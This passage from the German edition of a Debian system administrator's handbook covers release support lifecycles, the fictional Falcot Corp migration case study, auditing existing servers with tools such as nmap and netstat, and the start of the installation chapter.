Am Ende seiner Reise ist unser hypothetisches Paket in der stabilen Distribution enthalten. Dieser Weg, der nicht ohne Schwierigkeiten war, erklärt die erheblichen Verzögerungen, durch die die Debian-Stable-Veröffentlichungen voneinander getrennt sind. Dies trägt insgesamt zu ihrem Ruf hoher Qualität bei. Außerdem ist die Mehrheit der Anwender damit zufrieden, eine der drei gleichzeitig verfügbaren Distributionen verwenden zu können. Die Systemadministratoren, die vor allem um die Stabilität ihrer Server besorgt sind, benötigen nicht unbedingt die jüngste und beste Version von GNOME; sie können Debian Stable nehmen und werden damit zufrieden sein. Endnutzer, die mehr an den jüngsten Versionen von GNOME oder KDE als an felsenfester Stabilität interessiert sind, werden feststellen, dass Debian Testing ein guter Kompromiss zwischen der Abwesenheit schwerwiegender Probleme und relativ aktueller Software ist. Schließlich werden Entwickler und erfahrenere Nutzer den Weg bahnen, indem sie die neuesten Entwicklungen in Debian Unstable ausprobieren, sobald sie die Startbox verlassen haben, selbst auf die Gefahr hin, an Kopfschmerzen und Fehlern zu leiden, die zu jeder neuen Version eines Programms dazu gehören. Jedem sein eigenes Debian!

KULTUR GNOME und KDE, grafische Arbeitsumgebungen

GNOME (GNU Network Object Model Environment) und KDE (K Desktop Environment) sind in der Welt der freien Software die beiden beliebtesten grafischen Arbeitsumgebungen. Eine Arbeitsumgebung ist ein Satz zusammenhängender Programme, die eine einfache Handhabung der häufigsten Tätigkeiten mithilfe einer grafischen Schnittstelle ermöglichen. Zu ihnen gehören normalerweise ein Dateimanager, Office-Paket, Webbrowser, E-Mail-Programm, Multimediawerkzeuge usw. Der auffälligste Unterschied besteht in der Wahl der verwendeten grafischen Bibliothek: GNOME hat GTK+ (freie unter LGPL lizensierte Software) und KDE hat Qt gewählt(,ein von einer Firma unterstütztes Projekt, aktuell sowohl unter GPL als auch unter einer kommerziellen Lizenz verfügbar).

→ http://www.gnome.org/

→ http://www.kde.org/

Abbildung 1.4. Chronologischer Weg eines von Debian paketierten Programms

1.6.5. Der Oldstable und Oldoldtable Status

Jede Stable Release hat eine erwartete Lebensdauer von ca. 5 Jahren und da Releases tendenziell alle 2 Jahre stattfinden, kann es bis zu 3 unterstützte Releases zu einem bestimmten Zeitpunkt geben. Wenn eine neue stabile Version erscheint, wird die frühere Version zu Oldstable und die vorherige wird zu Oldoldstable.

Diese Langzeitunterstützung (LTS) von Debian-Releases ist eine neue Initiative: Einzelne Mitwirkende und Unternehmen schlossen sich zusammen, um das Debian-LTS-Team zu gründen. Ältere Releases, die nicht mehr vom Debian-Sicherheitsteam unterstützt werden, fallen unter die Verantwortung dieses neuen Teams.

Das Debian-Sicherheitsteam kümmert sich um die Sicherheitsunterstützung in der aktuellen Stable Release und auch in der Oldstable Release (aber nur so lange, wie es nötig ist, um eine einjährige Überlappung mit der aktuellen stabilen Version sicherzustellen). Dies entspricht etwa drei Jahren Support pro Release. Das Debian-LTS-Team kümmert sich um die letzten (zwei) Jahre Sicherheitssupport, so dass jede Release von mindestens 5 Jahren Support profitiert und Benutzer von Version N auf N+2 upgraden können.

→ https://wiki.debian.org/LTS

GEMEINSCHAFT Unternehmen, die die LTS-Arbeit unterstützen

Langzeitunterstützung ist eine schwierige Aufgabe in Debian, da Freiwillige dazu neigen, die Arbeit zu vermeiden, die nicht viel Spaß macht. Und Sicherheitsunterstützung für 5 Jahre alte Software macht - für viele Mitwirkende - viel weniger Spaß als das Paketieren neuer Upstream-Versionen oder die Entwicklung neuer Features.

Um dieses Projekt zum Leben zu erwecken, zählte das Projekt auf die Tatsache, dass langfristige Unterstützung für Unternehmen besonders wichtig ist und dass sie bereit sind, die Kosten für diese Sicherheitsunterstützung zu teilen.

Das Projekt begann im Juni 2014: Einige Organisationen erlaubten ihren Mitarbeitern, in Teilzeit zu Debian LTS beizutragen, während andere es vorzogen, das Projekt mit Geld zu sponsern, so dass Debian-Mitarbeiter für die Arbeit bezahlt werden, die sie nicht umsonst machen würden. Die meisten zu Debian Beitragenden, die bereit sind, für die Arbeit an LTS bezahlt zu werden, haben sich zusammengetan, um ein klares Sponsoringangebot von Freexian (Raphaël Hertzog's Firma) zu erstellen:

→ http://www.freexian.com/services/debian-lts.html

Das Debian-LTS-Team ist noch nicht in der Lage, alle Pakete in Debian korrekt zu unterstützen, daher arbeiten die Freiwilligen an Paketen, die ihnen wichtig sind, während die bezahlten Beitragszahler die von ihren Sponsoren verwendeten Pakete priorisieren.

Das Projekt ist immer auf der Suche nach neuen Sponsoren: wie wäre es mit Ihrem Unternehmen? Können Sie einen Mitarbeiter in Teilzeit arbeiten lassen? Können Sie ein kleines Budget für die Sicherheitsunterstützung bereitstellen?

→ https://wiki.debian.org/LTS/Funding

Kapitel 2. Vorstellung der Fallstudie

In diesem Zusammenhang sind Sie der Systemadministrator einer kleinen, wachsenden Firma. Es ist an der Zeit, dass Sie die Feinplanung für Ihre Informationssysteme für das kommende Jahr zusammen mit Ihren Chefs durchführen. Sie entscheiden sich dafür, aus praktischen und aus wirtschaftlichen Gründen auf Debian umzusteigen. Lassen Sie uns im Detail sehen, was Ihnen bevorsteht …

Wir haben uns diese Fallstudie ausgedacht, um alle modernen Informationsdienste, die derzeit in einem mittelständischen Unternehmen eingesetzt werden, zu betrachten. Nach der Lektüre dieses Buches werden Sie über alle notwendigen Kenntnisse verfügen, um Debian auf Ihren Servern zu installieren und selbstständig weiterzuarbeiten. Sie erfahren auch, wie man im Falle von Schwierigkeiten effizient Informationen findet.

2.1. Schnell wachsende IT-Bedürfnisse

Falcot Corp ist ein Hersteller von hochwertigen Audiogeräten. Das Unternehmen wächst stark und hat zwei Standorte, einen in Saint-Étienne und einen weiteren in Montpellier. In Saint-Étienne sind rund 150 Mitarbeiter in einer Fabrik für die Herstellung von Lautsprechern, einem Designlabor sowie in der Verwaltung beschäftigt. Am kleineren Standort Montpellier werden mit nur 50 Mitarbeitern Verstärker hergestellt.

Hinweis Dies ist nur eine fiktive Firma für die Fallstudie

Die Firma Falcot Corp, die beispielhaft hier betrachtet wird, ist rein fiktiv. Jede Ähnlichkeit mit einer existierenden Firma wäre rein zufällig. Ebenso können einige der Beispieldaten in diesem Buch fiktiv sein.

Die IT-Infrastruktur hatte Mühe, mit dem Wachstum der Firma mitzuhalten, und so ist die Geschäftsleitung nun fest entschlossen, diese komplett neu aufzustellen, um die Ziele zu erreichen, die von der Unternehmensführung vorgegeben wurden:

- moderne, leicht skalierbare Infrastruktur;

- Reduzierung der Kosten für Softwarelizenzen dank Verwendung von Open-Source-Software;

- Installation einer E-Commerce-Website, möglicherweise B2B (business to business, d.h. Verknüpfung von IT-Systemen zwischen verschiedenen Unternehmen, wie zum Beispiel einem Zulieferer und den Abnehmern);

- signifikante Verbesserung der Sicherheit zum besseren Schutz der Betriebsgeheimnisse um neue Produkte.

Im Hinblick auf diese Ziele wird das gesamte Informationssystem überarbeitet.

2.2. Gesamtkonzept

Mit Ihrer Hilfe hat das IT-Management eine recht umfangreiche Studie durchgeführt, in der einige Sachzwänge identifiziert wurden und ein Plan zur Migration auf das gewählte Open-Source-System Debian erstellt wurde.

Als signifikante Einschränkung wurde eine Buchhaltungssoftware identifiziert, die nur unter Microsoft Windows™ läuft. Das Labor hingegen nutzt eine CAD-Software, die nur auf OS X™ läuft.

Abbildung 2.1. Übersicht über das Falcot Corp Netzwerk

Der Umstieg auf Debian wird schrittweise erfolgen; ein kleines Unternehmen mit begrenzten Mitteln kann vernünftigerweise nicht alles über Nacht ändern. Zunächst einmal müssen die IT-Mitarbeiter in die Administration mit Debian geschult werden. Dann werden zuerst die Netzwerk-Infrastruktur-Server (Router, Firewalls, usw.) und anschließend die Anwenderdienste (File-Sharing, Web, SMTP, usw.) umgesetzt. Nach und nach werden dann die Bürocomputer auf Debian migriert und jede Abteilung wird während des Ausrollens der Systeme auf Debian (intern) geschult.

2.3. Warum eine GNU/Linux-Distribution?

Rückblick auf die Grundlagen Linux oder GNU/Linux?

Wie Sie bereits wissen, ist Linux nur ein Betriebssystemkern (Kernel). Die Ausdrücke, "Linux-Distribution" und "Linux-System" sind also inkorrekt: Sie bezeichnen in Wirklichkeit Distributionen oder Systeme basierend auf Linux. Diese Ausdrücke missachten die Software, die immer den Kernel vervollständigt, ebenso wie die Programme, die vom GNU-Projekt entwickelt wurden. Dr. Richard Stallman, Gründer des Projekts, besteht darauf, dass der Ausdruck "GNU/Linux" systematisch genutzt wird, um die wichtigen Beiträge des GNU-Projekts und die Grundsätze der Freiheit, auf denen sie gründet, hervorzuheben.

Debian hat sich entschieden, dieser Empfehlung zu folgen, und so wird die Distributionen entsprechend benannt(daher lautet die aktuellste stabile Version Debian GNU/Linux 8).

Mehrere Faktoren haben diese Wahl bestimmt. Der Systemadministrator, der die Distribution kannte, sorgte dafür, dass sie als Kandidat für die EDV-Erneuerung aufgenommen wurde. Schwierige wirtschaftliche Bedingungen und gnadenloser Wettbewerb haben das Budget für diese Operation trotz ihrer kritischen Bedeutung für die Zukunft des Unternehmens eingeschränkt. Aus diesem Grunde wurde kurzerhand eine Open-Source-Lösung gewählt: Mehrere neuere Studien zeigen, dass sie günstiger als proprietäre Lösungen sind, während die Qualität der Dienstleistung gleich oder besser ist, solange qualifiziertes Personal zu ihrem Betrieb zur Verfügung steht.

IN DER PRAXIS Total cost of ownership (TCO)

Die Gesamtbetriebskosten beinhalten alle für die Beschaffung und den Besitz einer Sache aufgewendeten Mittel, in diesem Fall bezogen auf ein Betriebssystem. In diesem Preis enthalten sind alle möglichen Lizenzen, Kosten für Schulungen des Personals, Ersatz für zu langsame Rechner, anfallende Reparaturen usw. Sämtliche Folgekosten, die durch die Beschaffung entstehen, werden hier berücksichtigt.

Diese Gesamtbetriebskosten (TCO), die von den gewählten Kriterien abhängen, fallen kaum ins Gewicht. Trotzdem ist es sehr interessant, die Gesamtbetriebskosten zu vergleichen, die nach den gleichen Regeln kalkuliert wurden. Die Beurteilungstabelle ist daher von überragender Wichtigkeit. Es ist sehr leicht, diese zu manipulieren und so zu einem vordefinierten Ergebnis zu kommen. Die TCO-Betrachtung für einen einzelnen Rechner macht keinen Sinn, weil die anteiligen Administratorkosten sich nach der Anzahl der Rechner richten, die dieser betreut. Und diese Zahl hängt offensichtlich vom verwendeten Betriebssystem und den vorgeschlagenen Werkzeugen ab.

Unter den freien Betriebssystemen untersuchte die IT-Abteilung die Free-BSD Systeme (OpenBSD, FreeBSD und NetBSD), GNU Hurd sowie Linux-Distributionen. GNU Hurd, das bisher noch keine stabile Version veröffentlicht hat, wurde sofort wieder verworfen. Die Wahl zwischen BSD und Linux war einfacher. Die erstgenannten haben viele Vorteile, speziell auf Servern. Pragmatische Überlegungen führten zur Wahl eines Linux-Systems, da sowohl die breite Installationsbasis als auch der Bekanntheitsgrad wichtig sind und diese Systeme zudem einige positive Auswirkungen haben. Eine davon ist, dass es aufgrund der Verbreitung leichter ist, qualifiziertes Personal für Linux-Systeme zu finden, als Techniker, die sich auf BSD spezialisiert haben. Außerdem wird Linux schneller an neue Hardware angepasst als BSD (obwohl hier ein Kopf-an-Kopf-Rennen stattfindet). Und nicht zuletzt werden Linux-Distributionen häufiger mit benutzerfreundlichen grafischen Oberflächen ausgestattet, die für Anfänger während der Umstellung aller Bürorechner auf ein neues System unabdingbar sind.

ALTERNATIV Debian GNU/kFreeBSD

Seit Debian Squeeze ist es möglich, Debian mit einem FreeBSD-Kernel auf 32-bit und 64-bit Rechnern zu nutzen. Das ist die Aufgabe der Architekturen kfreebsd-i386 und kfreebsd-amd64. Obwohl diese Architekturen nicht als "offizelle Release-Architekturen" gekennzeichnet sind, sind bereits ungefähr 90% der Debian-Softwarepakete für sie verfügbar.

Diese Architekturen könnten eine gute Wahl für die Administratoren der Falcot Corp. sein, speziell für eine Firewall (der Kernel unterstützt drei verschiedene Firewalls: PF, IPFW und PF) oder eine Netzwerkspeicher-Lösung (NAS; network attached storage system; hierfür wurde das ZFS-Dateisystem getestet und freigegeben).

2.4. Warum die Debian Distribution?

Sobald eine Entscheidung für Linux gefallen ist, sind weitere Optionen zu betrachten. Und dabei sind wieder zahlreiche Kriterien zu bedenken. Die gewählte Distribution muss mehrere Jahre betrieben werden können, weil eine Umstellung (Migration) weitere Kosten nach sich ziehen würde (obwohl diese nicht so hoch ausfallen wie bei einem Wechsel zu einem völlig unterschiedlichen Betriebssystem wie etwa Windows oder OS X).

Nachhaltigkeit ist sehr wichtig. Sie muss regelmäßige Updates und Sicherheitsupdates für mehrere Jahre garantieren. Auch die zeitliche Abfolge von Updates ist sehr wichtig, weil die Falcot Corp. diese komplexen Operationen bei der großen Anzahl der zu verwaltenden Rechner nicht allzu häufig durchführen kann. Die IT-Abteilung besteht daher darauf, die neueste stabile Version der Distribution einzusetzen, um von der besten technischen Unterstützung und garantierten Sicherheitsupdates zu profitieren. In der Tat werden Sicherheitsupdates nur für eine begrenzte Zeit für ältere Versionen einer Distribution angeboten.

Schließlich muss aus Gründen der Homogenität und der einfachen Administration die gleiche Distribution auf allen Servern (von denen einige Sparc-Rechner sind, die derzeit auf Solaris laufen) und Bürorechnern laufen.

2.4.1. Kommerzielle und von der Gemeinschaft gewartete Distributionen

Es gibt zwei Hauptkategorien von Linux-Distributionen: kommerzielle und von der Community entwickelte. Die Ersteren, die von Firmen entwickelt werden, werden mit dem entsprechenden Support verkauft. Die Letzteren werden nach den gleichen Regeln entwickelt wie die Software, aus denen sie besteht.

Eine kommerzielle Distribution wird daher tendenziell öfter neue Versionen veröffentlichen, um näher am Marktgeschehen und den damit verbundenen Services zu bleiben. Ihre Zukunft ist direkt mit dem wirtschaftlichen Erfolg ihrer Firma verbunden, viele sind bereits wieder verschwunden (Caldera Linux, StormLinux usw.).

Eine nichtkommerzielle Distribution folgt nur ihrem eigenen Programm. Ähnlich dem Linux-Kernel werden neue Versionen freigegeben, sobald sie stabil sind, niemals vorher. Solange es genug unabhängige Entwickler oder dritte Unternehmen gibt, die sie unterstützen, ist ihr Überleben gesichert.

Bei einem Vergleich verschiedener Linux-Distributionen fiel aus folgenden Gründen die Wahl auf Debian:

- Es ist eine Community-Distribution, deren Entwicklung unabhängig von kommerziellen Interessen gesichert ist. Ihre Ziele sind daher grundsätzlich technischer Natur, was für die generelle Qualität des Produkts spricht.

- Unter allen Community-Distributionen glänzt Debian in vielerlei Hinsicht: So etwa in der Anzahl der Mitwirkenden (Programmierer usw.), der Anzahl der verfügbaren Softwarepakete und der Jahre ihrer kontinuierlichen Existenz. Die Größe der Community ist dabei ein unbestreitbarer Zeuge und Garant für Kontinuität.

- Statistisch gesehen werden alle 18 bis 24 Monate neue Versionen herausgegeben und werden 5 Jahre lang unterstützt. Mit dieser Geschwindigkeit können die meisten Administratoren leben.

- Eine Umfrage unter verschiedenen französischen Firmen, die sich auf freie Software spezialisiert haben, zeigte, dass alle technische Unterstützung für Debian anbieten. Für viele von ihnen ist es auch die Distribution der Wahl für interne Systeme. Die Vielfalt der möglichen Anbieter ist ein wichtiger Grund für die Unabhängigkeit der Falcot Corp.

- Schließlich ist Debian auf einer breiten Basis von Architekturen verfügbar, inklusive ppc64el für OpenPOWER-Prozessoren. Es ist trotzdem möglich, Debian auf den neuesten IBM-Servern der Falcot Corp. zu installieren.

IN DER PRAXIS Debian Langzeit-Unterstützung

Das Debian-Langzeitunterstützungsprojekt (LTS = Long-Term-Support) begann 2014 und hat das Ziel, über 5 Jahre den Security-Support für alle stabilen Debian-Releases zu ermöglichen. Da der Langzeitsupport gerade für Organisationen mit größeren Produktionsumgebungen wichtig ist, versucht das Projekt die Bündelung der Ressourcen von Organisationen, die Debian benutzen.

→ https://wiki.debian.org/LTS

Falcot Corp. ist nicht groß genug, um ein Mitglied seines IT-Personals zum LTS-Projekt beitragen zu lassen, daher entschied sich das Unternehmen, den Debian-LTS-Vertrag von Freexian zu unterschreiben und bietet finanzielle Unterstützung. Dadurch wissen die Falcot-Administratoren, dass die von ihnen verwendeten Pakete vorrangig behandelt werden und haben bei Problemen direkten Kontakt zum LTS-Team.

→ https://wiki.debian.org/LTS/Funding

→ http://www.freexian.com/services/debian-lts.html

Nachdem Debian gewählt wurde, muss noch die Frage der richtigen Version geklärt werden. Sehen wir uns an, warum die Administratoren Debian Jessie gewählt haben.

2.5. Warum Debian Jessie?

Jedes Debian Release beginnt sein Leben als sich ständig andernde Distribution, auch bekannt als “Testing”. Aber während wir diese Zeilen schreiben, ist Jessie die letzte “Stable”-Version von Debian.

Die Wahl von Debian Jessie ist berechtigterweise auf die Tatsache zurückzuführen, dass jeder Administrator, der auf die Qualität seines Servers achtet, eher zur "stable" Version von Debian tendiert. Auch wenn die vorhergehende stabile Version noch eine zeitlang unterstützt wird, ziehen die Administratoren von Falcot diese nicht in Betracht, weil ihnen dieser Unterstützungszeitraum nicht ausreicht und weil die neueste Version einige interessante neue Funktionen enthält, die sie gut gebrauchen können.

Kapitel 3. Untersuchung des bestehenden Setups und Migration

Jedes Computerupdate sollte das bestehende System mit einschließen. Dies erlaubt eine möglichst weitgehende Wiederverwendung von Ressourcen und garantiert das nahtlose Zusammenarbeiten der verschiedenen Elemente, aus denen das System besteht. Diese Studie will ein allgemeingültiges Rahmenkonzept aufzeigen, dem man bei der Migration einer Rechner-infrastruktur hin zu Linux folgen kann.

3.1. Koexistenz in gemischten Umgebungen

Debian lässt sich sehr gut in alle Arten von bestehenden Umgebungen einbinden und arbeitet gut mit allen anderen Betriebssystemen zusammen. Diese fast perfekte Harmonie rührt vom Wettbewerbsdruck her, der dafür sorgt, dass Softwarehersteller ihre Programme den Standards folgend erstellen. Die Beachtung von Standards erlaubt es den Administratoren, Programme auszutauschen: Clients oder Server, egal ob frei oder nicht.

3.1.1. Integration mit Windows-Rechnern

Samba's SMB-/CIFS-Support bietet eine exzellente Kommunikation innerhalb von Windows-Umgebungen. Es verteilt Dateien und Druckerwarteschlangen an Windows-Clients und enthält Software, die es Linux-Rechnern erlaubt, Ressourcen von Windows-Servern zu nutzen.

WERKZEUG Samba

Die letzte Samba-Version kann die Mehrzahl der Windows-Features ersetzen: Von einem simplen Windows-NT-Server (mit Authentifizierung, Dateien, Druckerwarteschlangen, Herunterladen von Druckertreibern, DFS usw.) ist vieles möglich bis hin zum fortgeschrittenen Setup: Ein mit MS-Active-Directory kompatibler Domain-Controller.

3.1.2. Vernetzung mit OS X-Rechnern

OS X-Rechner stellen via Bonjour, einer Implementierung des Zeroconf Protokolls, Netzwerkdienste wie Datei- und Druckdienste zur Verfügung und können diese im Gegenzug selbst nutzen. Diese Dienste werden auf dem lokalen Netzwerk angeboten, was den anderen Rechnern ermöglicht, diese zu erkennen und zu nutzen, und zwar ohne manuelle Konfiguration.

Aus der anderen Richtung kann der Netatalk Hintergrundprozess genutzt werden, um einer OS X-Maschine im Netz Datei-Services anzubieten. Er implementiert das AFP (AppleShare) Protokoll sowie die notendigen Meldungen zur Bekanntgabe, damit die Dienste automatisch von den OS X-Clients gefunden werden können.

Ältere Mac OS Netzwerk (vor OS X) benutzten ein anderes Protokoll, genannt AppleTalk. Für Umgebungen, in die Maschinen eingebunden sind, die noch dieses AppleTalk sprechen, bietet Netatalk dieses Protokoll ebenfalls an (tatsächlich war Netatalk zu Beginn eine Reimplementierung dieses Protokolls). Es erlaubt die Arbeit mit Dateiservern und Druckerwarteschlangen sowie die Nutzung als Zeitserver (Uhrensynchronisierung). Seine Routerfunktionalität erlaubt die Verbindung zu Appletalk-Netzwerken.

3.1.3. Vernetzung mit anderen Linux/Unix-Rechnern

Schließlich sorgt die integrierte Unterstützung von NFS und NIS für eine reibungslose Zusammenarbeit mit Unix-Systemen. NFS stellt die Fileserverfunktionalität zur Verfügung, während NIS Benutzerverzeichnisse anlegt. Das von den meisten Unix-Systemen genutzte BSD-Printing-Layer erlaubt auch die Verteilung von Druckerwarteschlangen.

Abbildung 3.1. Koexistenz von Debian mit OS X-, Windows- und Unix-Systemen

3.2. Migrationsvorgang

Um die Aufrechterhaltung des Betriebs zu gewährleisten, muss jede Migration geplant und anhand dieses Plans durchgeführt werden. Dieses Prinzip gilt unabhängig vom eingesetzten Betriebssystem.

3.2.1. Überprüfen und Identifizieren der Dienste

So einfach es auch scheint, dieser Schritt ist entscheidend. Ein professioneller Administrator kennt die primären Aufgaben jedes Servers genau. Solche Aufgaben können sich jedoch ändern, und manchmal haben erfahrene Nutzer vielleicht auch "wilde" Dienste installiert. Wenn man über sie Bescheid weiß, kann man zumindest entscheiden, was man mit ihnen machen will, anstatt sie nur einfach zu löschen.

Zu diesem Zweck ist es sinnvoll, Ihre Benutzer vor der Servermigration über das Projekt zu informieren. Um sie an dem Projekt zu beteiligen, könnte es nützlich sein, vor der Migration die am häufigsten verwendete freie Software auf denjenigen Desktops zu installieren, mit denen die Benutzer nach der Migration zu Debian später wieder arbeiten; LibreOffice und die Mozilla-Suite sind dafür die besten Beispiele.

3.2.1.1. Netzwerk und Prozesse

Das nmap Werkzeug (im gleichnamigen Paket) identifiziert schnell Internetdienste, die auf einer Maschine laufen und die über das Netzwerk verbunden sind, ohne dass ein Login benötigt wird. Man braucht nur das folgende Kommando auf einem anderen Rechner aufzurufen, der mit demselben Netzwerk verbunden ist:

$ nmap mirwiz↵
Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-24 11:34 CET↵
Nmap scan report for mirwiz (192.168.1.104)↵
Host is up (0.0037s latency).↵
Not shown: 999 closed ports↵
PORT STATE SERVICE↵
22/tcp open ssh↵
↵
Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds↵

ALTERNATIVE Benutze netstat, um die verfügbaren Dienste anzuzeigen

Auf einem Linux-Rechner kann mit dem Befehl netstat -tupan eine Liste von aktiven und anstehenden TCP-Sitzungen sowie von UDP-Ports, an denen laufende Programme horchen, angezeigt werden. Dies erleichtert das Aufspüren von Diensten, die im Netzwerk angeboten werden.

Vertiefung / Weiterführende Informationen IPv6

Einige Netzwerkbefehle arbeiten entweder mit IPv4 (was normalerweise der Standard ist) oder mit IPv6. Dazu gehören nmap und netstat, aber auch andere wie etwa route oder ip. Konvention ist, dass dieses Verhalten mit der Kommandozeilenoption -6 eingeschaltet wird.

Wenn auf einem Server Unix läuft und Anwendern eine Shell angeboten wird, ist es oftmals interessant, zu wissen, ob ein Prozess auch in Abwesenheit des Users im Hintergrund läuft. Das Dienstprogramm ps auxw zeigt alle laufenden Prozesse mit der zugehörigen ID. Ein Gegenprüfen dieser Informationen mit der Ausgabe des who-Befehls, das eine Liste der angemeldeten User zeigt, kann helfen, verdächtige oder versteckte Prozesse aufzuzeigen. Ein Blick auf crontab zeigt oftmals interessante Information über Funktionen und Prozesse, die der Server regelmäßig ausführt. Eine vollständige Erläuterung des cron-Befehls findet sich hier Abschnitt 9.7, „Aufgaben mit cron und atd zeitlich festlegen“.

In jedem Fall ist es absolut unerlässlich, Sicherheitskopien des eigenen Servers anzulegen. Dadurch ist es möglich, Informationen wiederherzustellen, falls Benutzer Probleme aufgrund der Migration melden.

3.2.2. Konfiguration sichern

Es wird empfohlen, die Konfiguration jedes verwendeten Dienstes zu sichern, um ihn identisch auf dem aktualisierten Server einrichten zu können. Zumindest sollte eine Datensicherung der Konfigurationsdateien vorliegen.

Für Unix-Maschinen befinden sich die Konfigurationsdateien gewöhnlich in /etc/. Sie können sich aber auch in einem Unterverzeichnis von /usr/local/ befinden. Dies ist der Fall, wenn ein Programm durch Kompilieren des Quellcodes installiert wird. In einigen Fällen sind die Dateien auch unter /opt/ zu finden.

Bei Diensten, die Daten verwalten (wie zum Beispiel Datenbanken), wird dringend empfohlen, die Daten in ein standardisiertes Format zu exportieren, das durch die neue Software problemlos wieder importiert werden kann. Ein solches Format ist üblicherweise dokumentiert und liegt als Textdatei vor. So kann es beispielsweise als SQL Dump bei einer Datenbank oder als LDIF-Datei für einen LDAP-Server vorliegen.

Abbildung 3.2. Datenbanksicherungen

Jede Serversoftware ist unterschiedlich, und es ist unmöglich, alle denbaren Fälle im Detail zu beschreiben. Lesen Sie die Dokumentation der vorhandenen und von der neuen Software, um herauszufinden, welche Teile exportiert (und damit wieder reimportiert) werden können und welche manuelle Eingriffe erfordern. Das Ziel dieses Buches ist es, die Konfiguration der wichtigsten Serverprogramme unter Linux zu veranschaulichen.

3.2.3. Übernahme eines vorhandenen Debianservers

Um die Wartung erfolgreich zu übernehmen, kann man einen bereits mit Debian laufenden Server analysieren.

Die erste Datei, die man kontrollieren sollte, ist /etc/debian_version, welche üblicherweise die Versionsnummer des installierten Debian-Systems enthält (sie ist Teil des base-files-Pakets). Falls sie testing/unstable beinhaltet, bedeutet dies, dass das System mit Paketen aktualisiert wurde, welche aus einem der beiden Entwicklungszweige stammen.

Mit dem Kommando apt-show-versions (aus dem gleichnamigen Debian-Paket) überprüfen Sie die Liste der installierten Pakete und identifizieren die verfügbaren Versionen. Für diesen Zweck kann auch aptitude benutzt werden, wenn auch in einer weniger systematischen Art und Weise.

Ein kurzer Blick auf die Datei /etc/apt/sources.list (und das Verzeichnis /etc/apt/sources.list.d/ ) zeigt, woher die installierten Debian-Pakete kamen. Falls viele unbekannte Quellen erscheinen, könnte es der Administrator vorziehen, das Betriebssystem komplett neu zu installieren, um die optimale Kompatibilität zu gewährleisten, welche durch die Software von Debian sichergestellt wird.

Die Datei sources.list ist oft ein guter Indikator: Die Mehrheit der Administratoren lassen Einträge zu früher genutzten APT-Quellen bestehen, zumindest als Kommentar. Dabei ist zu beachten, dass ehemalige Quellen inzwischen gelöscht und auch manuell zufällig aus dem Internet heruntergeladene Pakete installiert worden sein können (mithilfe des Kommandos dpkg). In diesem Fall trügt das Erscheinungsbild eines "Standard"-Debian. Darum sollte man auf jeden noch so kleinen Hinweis achten, der auf die Existenz externer Pakete hindeutet. (Vorhandensein von deb-Dateien in unüblichen Verzeichnissen, Paketversionsnummern mit spezieller Endung, welche auf eine Herkunft außerhalb des Debian-Projekts hindeuten, so zum Beispiel ubuntu, ximian etc.)

Genauso interessant ist es, den Inhalt des Verzeichnisses /usr/local/ zu analysieren. Dieses Verzeichnis ist gedacht für Programme, die manuell kompiliert und installiert wurden. Eine Auflistung von Software, die auf diese Weise installiert wurde, ist lehrreich, denn es stellt sich die Frage nach den Gründen, warum nicht das entsprechende Debian-Paket benutzt wurde (falls ein solches existiert).

Schnellansicht cruft

Das cruft-Paket schlägt vor, die verfügbaren Dateien aufzulisten, die nicht zu einem Paket gehören. Es besitzt einige Filter (mehr oder weniger effektiv und mehr oder weniger aktuell), um zu vermeiden, dass legitime Dateien (solche, die von Debian-Paketen generiert werden, oder generierte Konfigurationsdateien, die nicht von dpkg usw. gemanagt werden) aufgeführt werden.

Seien Sie vorsichtig und löschen Sie nicht blind alles, was cruft aufführen könnte!

3.2.4. Installation von Debian

Da nun alle Informationen über den bestehenden Server bekannt sind, können wir ihn herunterfahren und dann Debian darauf installieren.

Um die passende Version auszuwählen, müssen wir die Systemarchitektur kennen. Wenn es ein einigermaßen aktueller PC ist, dann wird es sehr wahrscheinlich ein amd64 (bei älteren PCs eher ein i386)-Prozessor sein. In anderen Fällen können wir die Möglichkeiten entsprechend dem zuvor genutzten System eingrenzen.

Es ist nicht vorgesehen, dass Tabelle 3.1 vollständig ist, aber es kann hilfreich sein. In jedem Fall ist die Originaldokumentation die verlässlichste Quelle, um diese Informationen zu finden.

Tabelle 3.1. Passende Betriebssysteme und Architektur

Betriebssystem

Architektur(en)

DEC Unix (OSF/1)

alpha, mipsel

HP Unix

ia64, Hppa

IBM AIX

powerpc

Irix

mips

OS X

amd64, powerpc, i386

z/OS, MVS

s390x, s390

Solaris, SunOS

sparc, i386, m68k

Ultrix

mips

VMS

alpha

Windows 95/98/ME

i386

Windows NT/2000

i386, alpha, ia64, mipsel

Windows XP / Windows Server 2008

i386, amd64, ia64

Windows Vista / Windows 7 / Windows 8

i386, amd64

HARDWARE 64 bit PC gegen 32 bit PC

Die meisten aktuellen Computer besitzen 64-bit-Intel- oder -AMD-Prozessoren, die kompatibel zu älteren 32-bit-Prozessoren sind; daher läuft auf ihnen Software, die für die i386-Architektur übersetzt wurde. Andererseits werden durch diesen Kompatibilitätsmodus die Möglichkeiten dieser neuen Prozessoren nicht vollständig genutzt. Deshalb liefert Debian die amd64-Architektur, die für jüngere AMD-Chips ganauso funktioniert, wie für Intel-em64t-Prozessoren (einschließlich der meisten der Core-Serien), die dem AMD64 Prozessor sehr ähnlich sind.

3.2.5. Installation und Einrichtung der ausgewählten Dienste

Nach der Installation von Debian müssen wir Stück für Stück die Dienste installieren und einrichten, die auf diesem Computer laufen müssen. Die neue Konfiguration muss sich an der vorherigen orientieren, um einen reibungslosen Übergang zu gewährleisten. Alle in den beiden ersten Schritten gesammelten Informationen werden nützlich sein, um diesen Teil erfolgreich abzuschließen.

Abbildung 3.3. Installation der ausgewählten Dienste

Bevor man sich Hals über Kopf auf diese Aufgabe stürzt, sollte man unbedingt den Rest dieses Buches lesen. Danach wird man ein genaueres Verständnis davon haben, wie die erwarteten Dienste einzurichten sind.

Kapitel 4. Installation

Um Debian benutzen zu können, müssen Sie es auf einem Rechner installieren; diese Aufgabe wird durch das Programm debian-installer erledigt. Eine einwandfreie Installation umfasst zahlreiche Arbeitsgänge. Dieses Kapitel behandelt sie in ihrer chronologischen Reihenfolge.

ZURÜCK ZU DEN GRUNDLAGEN Ein Auffrischungskurs im Anhang

Es ist immer einfacher, einen Rechner einzurichten, wenn Sie mit seiner Funktionsweise vertraut sind. Falls Sie es nicht sind, machen Sie einen kurzen Abstecher zu Anhang B, Kurzer Förderkurs, bevor Sie dieses Kapitel lesen.

